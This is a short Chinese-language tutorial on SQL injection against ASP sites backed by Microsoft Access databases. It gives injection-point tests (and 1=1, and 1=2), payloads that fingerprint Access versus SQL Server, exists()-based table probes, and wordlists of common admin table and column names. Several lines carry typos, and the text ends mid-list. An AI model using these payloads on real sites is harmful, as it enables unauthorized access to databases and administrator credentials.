ACCESS数据库注入详解

asp链接access数据库代码
“Driver={microssoft access driver(.mdb)};dbq=.mdb;uid=admin;pwd=pass”

dim conn

set conn = server.createobject(“adodb.connection”)

conn.open"provider=Microsoft.ACE.OLEDB.12.0;"&“date source=”& server.mappath(“bbs.mdb”)

Access注入原理
判断注入点:
and 1=1
and 1=2
-0
-1

判断数据库注入：
and exists(select * from msysobjects)>0 判断access数据库
and exists(select * from sysobjects)>0 判断sqlserver数据库

access数据库
判断数据库表：and exists(select * from admin)
判断数据库表：and exists(selext admin from admin)

access数据库常见的表明：
admin
admin_user
admin_msg
admin_usr
admin_login
username
manager
manag
msg_user
msg_login
useradmin
user_msg
userlogin
users
member

管理员表下常见的管理员列名：
admin
admin_user